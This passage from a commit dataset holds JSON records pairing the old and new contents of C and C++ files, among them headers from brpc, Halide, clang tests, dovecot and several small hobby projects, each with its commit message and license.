memory.","message":"Make the registers address point to volatile memory.\n","lang":"C","license":"apache-2.0","repos":"winksaville\/sadie,winksaville\/sadie"}
{"commit":"9dc6b784c3c1a4c800ee111e2d317d2ddd02fb2b","old_file":"src\/HDD\/FileSystem.h","new_file":"src\/HDD\/FileSystem.h","old_contents":"#ifndef FILESYSTEM_H\n#define FILESYSTEM_H\n\n#include \"Partition.h\"\n#include <vector>\n#include <string>\n\nclass Directory;\n\nenum class FileType {\n    File, Directory\n};\n\nclass File : public HDDBytes {\n    std::string _name;\n    public:\n    std::string getName(){return _name;}\n    \/\/virtual void setName(const std::string& name) = 0;\n    \/\/virtual Directory * getParent() = 0; \/\/ null => root directory\n    virtual FileType getType();\n    virtual Directory * dir() {return nullptr;};\n};\n\nclass Directory : public virtual File {\npublic :\n    virtual std::vector<std::string> getFilesName () = 0;\n    FileType getType();\n    virtual File * operator[](const std::string& name) = 0; \/\/ nullptr means it does not exists\n    virtual Directory * dir() {return this;};\n};\n\nclass FileSystem {\nprotected :\n    Partition* _part;\npublic:\n    explicit FileSystem (Partition * part);\n    virtual Directory* getRoot() = 0;\n    \/\/virtual File* operator [] (const std::string& path) = 0; \/\/return null when path is not valid\n};\n\n\n\n\n\n#endif\n","new_contents":"#ifndef FILESYSTEM_H\n#define FILESYSTEM_H\n\n#include \"Partition.h\"\n#include <vector>\n#include <string>\n\nclass Directory;\n\nenum class FileType {\n    File, Directory\n};\n\nclass File : public HDDBytes {\n    public:\n    virtual FileType getType();\n    virtual Directory * dir() {return nullptr;};\n};\n\nclass Directory : public virtual File {\npublic :\n    virtual std::vector<std::string> getFilesName () = 0;\n    FileType getType();\n    virtual File * operator[](const std::string& name) = 0; \/\/ nullptr means it does not exists\n    virtual Directory * dir() {return this;};\n};\n\nclass FileSystem {\nprotected :\n    Partition* _part;\npublic:\n    explicit FileSystem (Partition * part);\n    virtual Directory* getRoot() = 0;\n    \/\/virtual File* operator [] (const std::string& path) = 0; \/\/return null when path is not valid\n};\n\n\n\n\n\n#endif\n","subject":"Remove unused methods in File","message":"Remove unused methods in File\n","lang":"C","license":"mit","repos":"TWal\/ENS_sysres,TWal\/ENS_sysres,TWal\/ENS_sysres,TWal\/ENS_sysres"}
{"commit":"03e4a15a06dc49f066d3ead31abec4fb28ac4704","old_file":"include\/symbol.h","new_file":"include\/symbol.h","old_contents":"#ifndef SCC_SYMBOL_HEADER\n#define SCC_SYMBOL_HEADER\n\n#include \"syntax.h\"\n\ntypedef struct Symbol\n{\n    int level;\n    char *name;\n\n    \/\/ used in semantic analysis\n    Syntax * declaration;\n\n    \/\/ used in intermediate code generation\n    char *var_name;\n} Symbol;\n\nSymbol * symbol_new();\n\nvoid symbol_delete(Symbol * symbol);\n\n#endif","new_contents":"#ifndef SCC_SYMBOL_HEADER\n#define SCC_SYMBOL_HEADER\n\n#include \"syntax.h\"\n\ntypedef struct Symbol\n{\n    int level;\n    char *name;\n\n    union\n    {\n        \/\/ used in semantic analysis\n        Syntax * declaration;\n\n        \/\/ used in intermediate code generation\n        char *var_name;\n\n        \/\/ used in target code generation\n        int address;\n    };\n    \n} Symbol;\n\nSymbol * symbol_new();\n\nvoid symbol_delete(Symbol * symbol);\n\n#endif","subject":"Add a member for target code generation.","message":"Add a member for target code generation.\n","lang":"C","license":"mit","repos":"RyanWangGit\/scc"}
{"commit":"73e462ea03a4b93d911020d5f9cf0a0cb3f4e286","old_file":"src\/engine\/entity\/include\/halley\/entity\/entity_id.h","new_file":"src\/engine\/entity\/include\/halley\/entity\/entity_id.h","old_contents":"#pragma once\n\n#include <cstdint>\n#include \"halley\/bytes\/config_node_serializer.h\"\n\nnamespace Halley {\n\tclass World;\n\n\tstruct alignas(8) EntityId {\n\t\tint64_t value;\n\n\t\tEntityId() : value(-1) {}\n\n\t\texplicit EntityId(const String& str);\n\n\t\tbool isValid() const { return value != -1; }\n\t\tbool operator==(const EntityId& other) const { return value == other.value; }\n\t\tbool operator!=(const EntityId& other) const { return value != other.value; }\n\t\tbool operator<(const EntityId& other) const { return value < other.value; }\n\t\tbool operator>(const EntityId& other) const { return value > other.value; }\n\t\tbool operator<=(const EntityId& other) const { return value <= other.value; }\n\t\tbool operator>=(const EntityId& other) const { return value >= other.value; }\n\n\t\tString toString() const;\n\n\t\tvoid serialize(Serializer& s) const;\n\t\tvoid deserialize(Deserializer& s);\n\t};\n\n\ttemplate <>\n    class ConfigNodeSerializer<EntityId> {\n    public:\n\t\tConfigNode serialize(EntityId id, const EntitySerializationContext& context);\n\t\tEntityId deserialize(const EntitySerializationContext& context, const ConfigNode& node);\n    };\n}\n\n\nnamespace std {\n\ttemplate<>\n\tstruct hash<Halley::EntityId>\n\t{\n\t\tsize_t operator()(const Halley::EntityId& v) const noexcept\n\t\t{\n\t\t\treturn std::hash<int64_t>()(v.value);\n\t\t}\n\t};\n}\n\n","new_contents":"#pragma once\n\n#include <cstdint>\n#include \"halley\/bytes\/config_node_serializer.h\"\n\nnamespace Halley {\n\tclass World;\n\n\tstruct alignas(8) EntityId {\n\t\tint64_t value;\n\n\t\tEntityId(int64_t value = -1) : value(value) {}\n\n\t\texplicit EntityId(const String& str);\n\n\t\tbool isValid() const { return value != -1; }\n\t\tbool operator==(const EntityId& other) const { return value == other.value; }\n\t\tbool operator!=(const EntityId& other) const { return value != other.value; }\n\t\tbool operator<(const EntityId& other) const { return value < other.value; }\n\t\tbool operator>(const EntityId& other) const { return value > other.value; }\n\t\tbool operator<=(const EntityId& other) const { return value <= other.value; }\n\t\tbool operator>=(const EntityId& other) const { return value >= other.value; }\n\n\t\tString toString() const;\n\n\t\tvoid serialize(Serializer& s) const;\n\t\tvoid deserialize(Deserializer& s);\n\t};\n\n\ttemplate <>\n    class ConfigNodeSerializer<EntityId> {\n    public:\n\t\tConfigNode serialize(EntityId id, const EntitySerializationContext& context);\n\t\tEntityId deserialize(const EntitySerializationContext& context, const ConfigNode& node);\n    };\n}\n\n\nnamespace std {\n\ttemplate<>\n\tstruct hash<Halley::EntityId>\n\t{\n\t\tsize_t operator()(const Halley::EntityId& v) const noexcept\n\t\t{\n\t\t\treturn std::hash<int64_t>()(v.value);\n\t\t}\n\t};\n}\n\n","subject":"Allow creating EntityId directly from int64_t","message":"Allow creating EntityId directly from int64_t\n","lang":"C","license":"apache-2.0","repos":"amzeratul\/halley,amzeratul\/halley,amzeratul\/halley"}
{"commit":"e3782eb8f2e649d1f6eaa00aa5f966a74d564d5d","old_file":"src\/brpc\/session_log.h","new_file":"src\/brpc\/session_log.h","old_contents":"","new_contents":"\/\/ Licensed to the Apache Software Foundation (ASF) under one\n\/\/ or more contributor license agreements.  See the NOTICE file\n\/\/ distributed with this work for additional information\n\/\/ regarding copyright ownership.  The ASF licenses this file\n\/\/ to you under the Apache License, Version 2.0 (the\n\/\/ \"License\"); you may not use this file except in compliance\n\/\/ with the License.  You may obtain a copy of the License at\n\/\/\n\/\/   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing,\n\/\/ software distributed under the License is distributed on an\n\/\/ \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n\/\/ KIND, either express or implied.  See the License for the\n\/\/ specific language governing permissions and limitations\n\/\/ under the License.\n\n#ifndef BRPC_SESSION_LOG_H\n#define BRPC_SESSION_LOG_H\n\n#include \"butil\/containers\/flat_map.h\"\n\nnamespace brpc {\n    \nclass SessionLog {\npublic:\n    class Formatter {\n    public:\n        virtual ~Formatter() {}\n        virtual void Print(std::ostream&, const SessionLog&) = 0;\n    };\n\n    typedef butil::FlatMap<std::string, std::string> Map;\n    typedef Map::const_iterator Iterator;\n\n    SessionLog() {}\n\n    \/\/ Exchange internal fields with another SessionLog.\n    void Swap(SessionLog &rhs) { _entries.swap(rhs._entries); }\n\n    \/\/ Reset internal fields as if they're just default-constructed.\n    void Clear() { _entries.clear(); }\n\n    \/\/ Get value of a key(case-sensitive)\n    \/\/ Return pointer to the value, NULL on not found.\n    const std::string* Get(const char* key) const { return _entries.seek(key); }\n    const std::string* Get(const std::string& key) const { return _entries.seek(key); }\n\n    \/\/ Set value of a key\n    void Set(const std::string& key, const std::string& value) { GetOrAdd(key) = value; }\n    void Set(const std::string& key, const char* value) { GetOrAdd(key) = value; }\n    \/\/ Convert other types to string as well\n    template <typename T>\n    void Set(const std::string& key, const T& value) { GetOrAdd(key) = std::to_string(value); }\n\n    \/\/ Remove a key\n    void Remove(const char* key) { _entries.erase(key); }\n    void Remove(const std::string& key) { _entries.erase(key); }\n\n    \/\/ Get iterators to iterate key\/value\n    Iterator Begin() const { return _entries.begin(); }\n    Iterator End() const { return _entries.end(); }\n    \n    \/\/ number of key\/values\n    size_t Count() const { return _entries.size(); }\n\nprivate:\n    std::string& GetOrAdd(const std::string& key) {\n        if (!_entries.initialized()) {\n            _entries.init(29);\n        }\n        return _entries[key];\n    }\n\n    Map _entries;\n};\n\n} \/\/ namespace brpc\n\n#endif \/\/ BRPC_SESSION_LOG_H\n","subject":"Add SessionLog to remember session-level kv","message":"Add SessionLog to remember session-level kv\n","lang":"C","license":"apache-2.0","repos":"brpc\/brpc,brpc\/brpc,brpc\/brpc,brpc\/brpc,brpc\/brpc"}
{"commit":"b2719779033044ea4d5fd85660c5ff44338cb6fe","old_file":"graphgolf\/graph.h","new_file":"graphgolf\/graph.h","old_contents":"#include \"base\/base.h\"\n\nclass Graph {\n public:\n  typedef int16_t Node;\n  typedef int16_t Degree;\n\n  Graph(Node order, Degree degree)\n      : order_(order),\n        degree_(degree),\n        edges_(order * degree, -1) {}\n\n  inline Node order() { return order_; }\n  inline Degree degree() { return degree_; }\n\n  \/\/ Returns the de\n  Node GetEdge(Node order_index, Degree degree_index);\n\n private:\n  const Node order_;\n  const Degree degree_;\n  vector<Node> edges_;\n};\n","new_contents":"#include \"base\/base.h\"\n\nclass Graph {\n public:\n  typedef int16_t Node;\n  typedef int16_t Degree;\n\n  Graph(Node order, Degree degree)\n      : order_(order),\n        degree_(degree),\n        edges_(order * degree, -1) {}\n\n  inline Node order() { return order_; }\n  inline Degree degree() { return degree_; }\n\n  \/\/ Returns the order_index node's degree_index-th edge's node.  Returns -1 if\n  \/\/ there is no such an edge.\n  Node GetEdge(Node order_index, Degree degree_index);\n\n private:\n  const Node order_;\n  const Degree degree_;\n  vector<Node> edges_;\n};\n","subject":"Update the comment for Graph::GetEdge.","message":"Update the comment for Graph::GetEdge.\n","lang":"C","license":"mit","repos":"imos\/graphgolf,imos\/graphgolf,imos\/graphgolf"}
{"commit":"129344a783dc4f410f2afb6273a043628cb0a846","old_file":"config.h","new_file":"config.h","old_contents":"#ifndef CJET_CONFIG_H\n#define CJET_CONFIG_H\n\n#define SERVER_PORT \\\n\t11122\n#define LISTEN_BACKLOG \\\n\t40\n\n#define MAX_MESSAGE_SIZE \\\n\t250\n\n\/* Linux specific configs *\/\n#define MAX_EPOLL_EVENTS \\\n\t100\n\n#endif\n","new_contents":"#ifndef CJET_CONFIG_H\n#define CJET_CONFIG_H\n\n#define SERVER_PORT \\\n\t11122\n#define LISTEN_BACKLOG \\\n\t40\n\n#define MAX_MESSAGE_SIZE \\\n\t256\n\n\/* Linux specific configs *\/\n#define MAX_EPOLL_EVENTS \\\n\t100\n\n#endif\n","subject":"Change MAX_BUFFER_SIZE to something that is 32 bit aligned.","message":"Change MAX_BUFFER_SIZE to something that is 32 bit aligned.\n","lang":"C","license":"mit","repos":"gatzka\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet"}
{"commit":"7293630908ab9fce7a0e23ca32fee5924bf7ff74","old_file":"include\/libc\/stdio.h","new_file":"include\/libc\/stdio.h","old_contents":"#ifndef _STDIO_H_\n#define _STDIO_H_\n\n\/**\n * \\file    stdio.h\n * \\brief   This file handle the output to the terminal for the user.\n *\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef EOF\n    #define EOF -1      \/*!<    End of file value   *\/\n#endif\n\n\/**\n * \\brief   Print a formatted string\n *\n * \\param[in]   format  Format of the string\n * \\param[in]   ...     Arguments for format specification\n *\n * \\return  Number of characters written\n *\/\nint printf(const char* __restrict format, ...);\n\n\/**\n * \\brief   Print a single char\n *\n * \\param   c   Character to print\n *\n * \\return The character written\n *\/\nint putchar(int c);\n\n\/**\n * \\brief   Print a string\n *\n * \\param   string  The string to print\n *\n * \\return The number of characters written\n *\/\nint puts(const char* string);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"#ifndef _STDIO_H_\n#define _STDIO_H_\n\n\/**\n * \\file    stdio.h\n * \\brief   This file handle the output to the terminal for the user.\n *\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef EOF\n    #define EOF -1      \/*!<    End of file value   *\/\n#endif\n\n\/**\n * \\brief   Print a formatted string\n *\n * \\param[in]   format  Format of the string\n * \\param[in]   ...     Arguments for format specification\n *\n * \\return  Number of characters written\n *\/\nint printf(const char* __restrict format, ...);\n\n\/**\n * \\brief   Print a formatted string into another string\n *\n * \\param[out]  out     String we want to write in\n * \\param[in]   format  Format of the string\n * \\param[in]   ...     Arguments for format specification\n *\n * \\return  Number of characters written\n *\/\nint sprintf(char* out, const char* __restrict format, ...);\n\n\/**\n * \\brief   Print a single char\n *\n * \\param   c   Character to print\n *\n * \\return The character written\n *\/\nint putchar(int c);\n\n\/**\n * \\brief   Print a string\n *\n * \\param   string  The string to print\n *\n * \\return The number of characters written\n *\/\nint puts(const char* string);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Add signature for sprintf function","message":"feat(sprintf): Add signature for sprintf function\n","lang":"C","license":"mit","repos":"Rarioty\/FlowS"}
{"commit":"1aa266b2b3406f046e00b65bb747a19c6d4445d7","old_file":"src\/cons.h","new_file":"src\/cons.h","old_contents":"#ifndef MCLISP_CONS_H_\n#define MCLISP_CONS_H_\n\n#include <string>\n\nnamespace mclisp\n{\n\nclass ConsCell\n{\npublic:\n    ConsCell(): car(nullptr), cdr(nullptr) {}\n    ConsCell(ConsCell* car, ConsCell* cdr): car(car), cdr(cdr) {}\n\n    ConsCell* car;\n    ConsCell* cdr;\n};\n\nbool operator==(const ConsCell& lhs, const ConsCell& rhs);\nbool operator!=(const ConsCell& lhs, const ConsCell& rhs);\nbool operator< (const ConsCell& lhs, const ConsCell& rhs);\nbool operator> (const ConsCell& lhs, const ConsCell& rhs);\nbool operator<=(const ConsCell& lhs, const ConsCell& rhs);\nbool operator>=(const ConsCell& lhs, const ConsCell& rhs);\n\nstd::ostream& operator<<(std::ostream& os, const ConsCell& cons);\n\nextern const ConsCell* kNil;\nextern const ConsCell* kT;\n\nvoid HackToFixNil();\n\nconst ConsCell* MakeSymbol(const std::string& name);\nconst ConsCell* MakeCons(const ConsCell* car, const ConsCell* cdr);\n\ninline bool Symbolp(const ConsCell* c);\ninline bool Consp(const ConsCell* c);\n\nconst std::string SymbolName(const ConsCell* symbol);\n\n} \/\/ namespace mclisp\n\n#endif \/\/ MCLISP_CONS_H_\n","new_contents":"#ifndef MCLISP_CONS_H_\n#define MCLISP_CONS_H_\n\n#include <string>\n\nnamespace mclisp\n{\n\nstruct ConsCell\n{\n  ConsCell* car;\n  ConsCell* cdr;\n};\n\ntypedef struct ConsCell ConsCell;\n\nbool operator==(const ConsCell& lhs, const ConsCell& rhs);\nbool operator!=(const ConsCell& lhs, const ConsCell& rhs);\nbool operator< (const ConsCell& lhs, const ConsCell& rhs);\nbool operator> (const ConsCell& lhs, const ConsCell& rhs);\nbool operator<=(const ConsCell& lhs, const ConsCell& rhs);\nbool operator>=(const ConsCell& lhs, const ConsCell& rhs);\n\nstd::ostream& operator<<(std::ostream& os, const ConsCell& cons);\n\nextern const ConsCell* kNil;\nextern const ConsCell* kT;\n\nvoid HackToFixNil();\n\nconst ConsCell* MakeSymbol(const std::string& name);\nconst ConsCell* MakeCons(const ConsCell* car, const ConsCell* cdr);\n\ninline bool Symbolp(const ConsCell* c);\ninline bool Consp(const ConsCell* c);\n\nconst std::string SymbolName(const ConsCell* symbol);\n\n} \/\/ namespace mclisp\n\n#endif \/\/ MCLISP_CONS_H_\n","subject":"Convert ConsCell from class to POD.","message":"Convert ConsCell from class to POD.\n","lang":"C","license":"mit","repos":"appleby\/mccarthy-lisp,appleby\/mccarthy-lisp,appleby\/mccarthy-lisp,appleby\/mccarthy-lisp,appleby\/mccarthy-lisp"}
{"commit":"67c8b90938cc84b1f1f5d9dbe0e84645ba448c5d","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include \"config.h\"\n#include \"core\/pwm.h\"\n#include \"core\/usart.h\"\n\n#include <avr\/io.h>\n#include <util\/delay.h>\n\nvoid delayms(uint16_t millis) {\n\twhile ( millis ) {\n\t\t_delay_ms(1);\n\t\tmillis--;\n\t}\n}\n\nint main(void) {\n\tDDRB |= 1<<PB0;\n\tusart_init();\n\tpwm_init();\n\tpwm_set(0);\n\n\twhile(1) {\n\t\tif(char_fifo_is_empty(usart_recv_fifo()))\n\t\t\tusart_send_char(char_fifo_pop(usart_recv_fifo()));\n\t}\n\treturn 0;\n}\n\n","new_contents":"#include \"config.h\"\n#include \"core\/pwm.h\"\n#include \"core\/usart.h\"\n#include \"utils\/char_fifo.h\"\n\n#include <avr\/io.h>\n#include <util\/delay.h>\n\nvoid delayms(uint16_t millis) {\n\twhile ( millis ) {\n\t\t_delay_ms(1);\n\t\tmillis--;\n\t}\n}\n\nint main(void) {\n\tDDRB |= 1<<PB0;\n\tusart_init();\n\tpwm_init();\n\tpwm_set(0);\n\tchar ch;\n\n\twhile(1) {\n\t\tif(char_fifo_is_empty(usart_recv_fifo()))\n\t\t\tchar_fifo_pop(usart_recv_fifo(), &ch);\n\t\t\tusart_send_char(ch);\n\t}\n\treturn 0;\n}\n\n","subject":"Use correct args in usart test","message":"Use correct args in usart test\n","lang":"C","license":"mit","repos":"greghaynes\/Convik,greghaynes\/Convik"}
{"commit":"66e82787c9bf280da5f4f1e6562eff0cd751d9f8","old_file":"str.c","new_file":"str.c","old_contents":"#include <Python.h>\n\nint main(int argc, char *argv[]) {\n  PyObject *expr[3];\n  int i, s, e, r;\n  char *res;\n\n  if(argc<5) {\n    fprintf(stderr,\"Usage: <string> <start> <end> <repeat>\\n\\n\\\nPrint string[start:end]*repeat\");\n    exit(0);\n  }\n  s = atoi(argv[2]);\n  e = atoi(argv[3]);\n  r = atoi(argv[4]);\n  expr[0] = PyString_FromString(argv[1]);\n  expr[1] = PySequence_GetSlice(expr[0], s, e);\n  expr[2] = PySequence_Repeat(expr[1], r);\n  res=PyString_AsString(expr[2]);\n  printf(\"'%s'\\n\",res);\n  for(i=0; i<3; i++) Py_CLEAR(expr[i]);\n  return 0;\n}\n","new_contents":"#include <Python.h>\n\nint main(int argc, char *argv[]) {\n  PyObject *expr[3];\n  int i, s, e, r;\n  char *res;\n\n  if(argc<5) {\n    fprintf(stderr,\"Usage: <string> <start> <end> <repeat>\\n\\n\\\nPrint string[start:end]*repeat\\n\");\n    exit(0);\n  }\n  s = atoi(argv[2]);\n  e = atoi(argv[3]);\n  r = atoi(argv[4]);\n  expr[0] = PyString_FromString(argv[1]);\n  expr[1] = PySequence_GetSlice(expr[0], s, e);\n  expr[2] = PySequence_Repeat(expr[1], r);\n  res=PyString_AsString(expr[2]);\n  printf(\"'%s'\\n\",res);\n  for(i=0; i<3; i++) Py_CLEAR(expr[i]);\n  return 0;\n}\n","subject":"Add newline end end of usage","message":"Add newline end end of usage\n","lang":"C","license":"mit","repos":"ein-shved\/libpyhon,ein-shved\/libpyhon"}
{"commit":"605cce4a8b87c2e92fcdd047383997ab1df0178d","old_file":"src\/lib\/str-sanitize.c","new_file":"src\/lib\/str-sanitize.c","old_contents":"\/* Copyright (c) 2004 Timo Sirainen *\/\n\n#include \"lib.h\"\n#include \"str.h\"\n#include \"str-sanitize.h\"\n\nvoid str_sanitize_append(string_t *dest, const char *src, size_t max_len)\n{\n\tconst char *p;\n\n\tfor (p = src; *p != '\\0'; p++) {\n\t\tif ((unsigned char)*p < 32)\n\t\t\tbreak;\n\t}\n\n\tstr_append_n(dest, src, (size_t)(p - src));\n\tfor (; *p != '\\0' && max_len > 0; p++, max_len--) {\n\t\tif ((unsigned char)*p < 32)\n\t\t\tstr_append_c(dest, '?');\n\t\telse\n\t\t\tstr_append_c(dest, *p);\n\t}\n\n\tif (*p != '\\0') {\n\t\tstr_truncate(dest, str_len(dest)-3);\n\t\tstr_append(dest, \"...\");\n\t}\n}\n\nconst char *str_sanitize(const char *src, size_t max_len)\n{\n\tstring_t *str;\n\n\tstr = t_str_new(I_MIN(max_len, 256));\n\tstr_sanitize_append(str, src, max_len);\n\treturn str_c(str);\n}\n","new_contents":"\/* Copyright (c) 2004 Timo Sirainen *\/\n\n#include \"lib.h\"\n#include \"str.h\"\n#include \"str-sanitize.h\"\n\nvoid str_sanitize_append(string_t *dest, const char *src, size_t max_len)\n{\n\tconst char *p;\n\n\tfor (p = src; *p != '\\0'; p++) {\n\t\tif (((unsigned char)*p & 0x7f) < 32)\n\t\t\tbreak;\n\t}\n\n\tstr_append_n(dest, src, (size_t)(p - src));\n\tfor (; *p != '\\0' && max_len > 0; p++, max_len--) {\n\t\tif (((unsigned char)*p & 0x7f) < 32)\n\t\t\tstr_append_c(dest, '?');\n\t\telse\n\t\t\tstr_append_c(dest, *p);\n\t}\n\n\tif (*p != '\\0') {\n\t\tstr_truncate(dest, str_len(dest)-3);\n\t\tstr_append(dest, \"...\");\n\t}\n}\n\nconst char *str_sanitize(const char *src, size_t max_len)\n{\n\tstring_t *str;\n\n\tstr = t_str_new(I_MIN(max_len, 256));\n\tstr_sanitize_append(str, src, max_len);\n\treturn str_c(str);\n}\n","subject":"Convert also 0x80..0x9f characters to '?'","message":"Convert also 0x80..0x9f characters to '?'\n\n--HG--\nbranch : HEAD\n","lang":"C","license":"mit","repos":"dscho\/dovecot,dscho\/dovecot,dscho\/dovecot,dscho\/dovecot,dscho\/dovecot"}
{"commit":"a31814531fae98e97d5f6938ed14e7f161e41a8f","old_file":"list.h","new_file":"list.h","old_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\n\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\n#endif","subject":"Add List & ListNode struct declarations","message":"Add List & ListNode struct declarations\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"cae4a5ca43323eb861d702f880a6c62dd5ef4fc5","old_file":"test\/Sema\/attr-print.c","new_file":"test\/Sema\/attr-print.c","old_contents":"\/\/ RUN: %clang_cc1 %s -ast-print -fms-extensions | FileCheck %s\n\n\/\/ FIXME: we need to fix the \"BoolArgument<\"IsMSDeclSpec\">\"\n\/\/ hack in Attr.td for attribute \"Aligned\".\n\n\/\/ CHECK: int x __attribute__((aligned(4, 0)));\nint x __attribute__((aligned(4)));\n\n\/\/ FIXME: Print this at a valid location for a __declspec attr.\n\/\/ CHECK: int y __declspec(align(4, 1));\n__declspec(align(4)) int y;\n\n\/\/ CHECK: void foo() __attribute__((const));\nvoid foo() __attribute__((const));\n\n\/\/ CHECK: void bar() __attribute__((__const));\nvoid bar() __attribute__((__const));\n","new_contents":"\/\/ RUN: %clang_cc1 %s -ast-print -fms-extensions | FileCheck %s\n\n\/\/ FIXME: we need to fix the \"BoolArgument<\"IsMSDeclSpec\">\"\n\/\/ hack in Attr.td for attribute \"Aligned\".\n\n\/\/ CHECK: int x __attribute__((aligned(4, 0)));\nint x __attribute__((aligned(4)));\n\n\/\/ FIXME: Print this at a valid location for a __declspec attr.\n\/\/ CHECK: int y __declspec(align(4, 1));\n__declspec(align(4)) int y;\n\n\/\/ CHECK: void foo() __attribute__((const));\nvoid foo() __attribute__((const));\n\n\/\/ CHECK: void bar() __attribute__((__const));\nvoid bar() __attribute__((__const));\n\n\/\/ FIXME: Print these at a valid location for these attributes.\n\/\/ CHECK: int *p32 __ptr32;\nint * __ptr32 p32;\n\n\/\/ CHECK: int *p64 __ptr64;\nint * __ptr64 p64;\n","subject":"Test that we print MS keyword attributes without a __declspec(...) adornment.","message":"Test that we print MS keyword attributes without a __declspec(...) adornment.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@173754 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"e7b04e58651772a1356d3a44a9ef9698c85b04bc","old_file":"tools\/halide_image.h","new_file":"tools\/halide_image.h","old_contents":"#ifndef HALIDE_TOOLS_IMAGE_H\n#define HALIDE_TOOLS_IMAGE_H\n\n\/*\n\nThis allows code that relied on halide_image.h and Halide::Tools::Image to\ncontinue to work with newer versions of Halide where HalideBuffer.h and\nHalide::Buffer are the way to work with data.\n\nBesides mapping Halide::Tools::Image to Halide::Buffer, it defines\nUSING_HALIDE_BUFFER to allow code to conditionally compile for one or the\nother.\n\nIt is intended as a stop-gap measure until the code can be updated.\n\n*\/\n\n#include \"HalideBuffer.h\"\n\nnamespace Halide {\nnamespace Tools {\n\n#define USING_HALIDE_BUFFER\n\ntemplate< typename T >\nusing Image = Buffer<T>;\n\n}   \/\/ namespace Tools\n}   \/\/ mamespace Halide\n\n#endif  \/\/ #ifndef HALIDE_TOOLS_IMAGE_H\n","new_contents":"#ifndef HALIDE_TOOLS_IMAGE_H\n#define HALIDE_TOOLS_IMAGE_H\n\n\/** \\file\n *\n * This allows code that relied on halide_image.h and\n * Halide::Tools::Image to continue to work with newer versions of\n * Halide where HalideBuffer.h and Halide::Buffer are the way to work\n * with data.\n *\n * Besides mapping Halide::Tools::Image to Halide::Buffer, it defines\n * USING_HALIDE_BUFFER to allow code to conditionally compile for one\n * or the other.\n *\n * It is intended as a stop-gap measure until the code can be updated.\n *\/\n\n#include \"HalideBuffer.h\"\n\nnamespace Halide {\nnamespace Tools {\n\n#define USING_HALIDE_BUFFER\n\ntemplate< typename T >\nusing Image = Buffer<T>;\n\n}   \/\/ namespace Tools\n}   \/\/ mamespace Halide\n\n#endif  \/\/ #ifndef HALIDE_TOOLS_IMAGE_H\n","subject":"Reformat comment into Doxygen comment for file.","message":"Reformat comment into Doxygen comment for file.\n\n\nFormer-commit-id: f651d51d97b75f12ba68f1cbfca914724136d121","lang":"C","license":"mit","repos":"Trass3r\/Halide,Trass3r\/Halide,darkbuck\/Halide,Trass3r\/Halide,Trass3r\/Halide,darkbuck\/Halide,darkbuck\/Halide,Trass3r\/Halide,darkbuck\/Halide,Trass3r\/Halide,darkbuck\/Halide,Trass3r\/Halide,darkbuck\/Halide,darkbuck\/Halide"}
{"commit":"b185c602c375f44bff2c9eb0362d0debbce728fd","old_file":"K2Status-static-ImportExport\/include\/k2info.h","new_file":"K2Status-static-ImportExport\/include\/k2info.h","old_contents":"#include \"k2pktdef.h\"\n\n#define\tTRACE2_STA_LEN\t7\n#define\tTRACE2_CHAN_LEN\t9  \/* 4 bytes plus padding for loc and version *\/\n#define\tTRACE2_NET_LEN\t9\n#define TRACE2_LOC_LEN   3\n\n#define K2INFO_TYPE_STRING \"TYPE_K2INFO_PACKET\"\n\ntypedef struct {\n    char    net[TRACE2_NET_LEN];     \/* Network name *\/\n    char    sta[TRACE2_STA_LEN];     \/* Site name *\/\n    qint16  \tdata_type;\t\t\/* see K2INFO_TYPE #defines below *\/\n    quint32\tepoch_sent;\t\/* local time sent *\/\n    quint16  reserved[5];\t\t\/* reserved for future use *\/\n} K2INFO_HEADER;\n\n#define K2INFO_TYPE_HEADER    1\t\t\/* k2 header params *\/\n#define K2INFO_TYPE_STATUS    2\t\t\/* k2 regular status packet *\/\n#define K2INFO_TYPE_ESTATUS   3\t\t\/* k2 extended status packet (old) *\/\n#define K2INFO_TYPE_E2STATUS  4\t\t\/* k2 extended status packet v2 *\/\n#define K2INFO_TYPE_COMM      5\t\t\/* k2ew packet processing stats *\/\n\n#define MAX_K2INFOBUF_SIZ 4096\n\ntypedef union {\n    qint8    msg[MAX_K2INFOBUF_SIZ];\n\tK2INFO_HEADER k2info;\n} K2infoPacket;  \n\n","new_contents":"#include \"k2pktdef.h\"\n\n#define\tTRACE2_STA_LEN\t7\n#define\tTRACE2_CHAN_LEN\t9  \/* 4 bytes plus padding for loc and version *\/\n#define\tTRACE2_NET_LEN\t9\n#define TRACE2_LOC_LEN   3\n#define K2_TIME_CONV ((unsigned long)315532800)\n\n#define K2INFO_TYPE_STRING \"TYPE_K2INFO_PACKET\"\n\ntypedef struct {\n    char    net[TRACE2_NET_LEN];     \/* Network name *\/\n    char    sta[TRACE2_STA_LEN];     \/* Site name *\/\n    qint16  \tdata_type;\t\t\/* see K2INFO_TYPE #defines below *\/\n    quint32\tepoch_sent;\t\/* local time sent *\/\n    quint16  reserved[5];\t\t\/* reserved for future use *\/\n} K2INFO_HEADER;\n\n#define K2INFO_TYPE_HEADER    1\t\t\/* k2 header params *\/\n#define K2INFO_TYPE_STATUS    2\t\t\/* k2 regular status packet *\/\n#define 